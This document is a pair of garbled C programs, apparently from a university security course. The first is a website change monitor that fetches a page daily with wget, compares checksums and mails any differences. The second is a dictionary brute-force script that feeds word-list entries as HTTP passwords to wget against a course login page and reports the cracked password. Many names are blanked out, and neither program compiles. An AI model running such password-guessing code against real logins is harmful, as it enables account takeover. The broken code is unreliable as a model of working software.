#include<stdlib.h>
#include<stdio.h>
#include<ctype.h>



int 
(int argc, char *argv[])
{
	FILE           *fp;

	int             response, difference, diffimage;

	system("mkdir backup");
	system("mkdir backup/images");
	while (1) {
		response = system("wget -p http://www.cs.rmit.edu./students");


		if ((fp = fopen("./backup/index.html", "r")) == NULL) {
			system("cp www.cs.rmit.edu./students/index.html ./backup");
			system("cp www.cs.rmit.edu./images/*.* ./backup/images");
			system("md5sum ./backup/images/*.* > ./backup/md5sumprior.txt");
			
		} else {
			difference = 0; diffimage = 0;
			difference = system("diff ./backup/index.html www.cs.rmit.edu./students/index.html > data");
			
			system("md5sum www.cs.rmit.edu./images/*.* > ./backup/md5sumlater.txt");
			diffimage = system("diff ./backup/md5sumprior.txt ./backup/md5sumlater.txt > md5diff");

			printf("difference=%d, diffimage=%d",difference,diffimage);
						
			if (difference == 0 && diffimage == 0) {
				printf("\nNo modification\n");
			} else {
				printf("\nModification\n");
				system(" data | mail  @cs.rmit.edu.");
				system(" md5diff | mail  @cs.rmit.edu.");
				
			}
			system("cp www.cs.rmit.edu./students/index.html ./backup");
			system("cp www.cs.rmit.edu./images/*.* ./backup/images");
			system("cp ./backup/md5sumlater.txt ./backup/md5sumprior.txt");
			
		}
		
		sleep(86400);
	}
}

#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>

char *bruteforce(int *attempts);


int (void){

   int i, counter;
   int Timetaken;
   int initTime = 0, exitTime = 0;
   initTime = time();
   bruteforce(&counter);
   exitTime = time();
   Timetaken = exitTime - initTime;
   printf("\nTime taken is %lld millisecond\n", (Timetaken)/());
   printf("\nNumber of attempts  is... %d", counter);
   return 0;
}


char *bruteforce(int *attempts){     
  
   FILE *fp;
   char ch[100];
	*attempts=0;

   fp = fopen("/usr/share/lib/dict/words", "r");
   if (fp == NULL) {
      printf("file  not  open");
   }
   while (fgets(ch, 100, fp) != NULL){
	
		(*attempts)++;

      int  j = 0;
      while (j <= 100){

         if (ch[j] == '\n') {
            ch[j] = '\0';
            break;
         }
         j = j + 1;
       }
		 
       char  [100] = "wget  --http-user= --http-passwd=";
       strcat(, ch);
       strcat(, " http://sec-crack.cs.rmit.edu./SEC/2/index.php");
       printf("%s\n", );
       if (system() == 0){
          printf("Password cracked successfully: ");
          printf("Password is %s", ch);
          return NULL;
       }
   }
  
   fclose(fp);
}
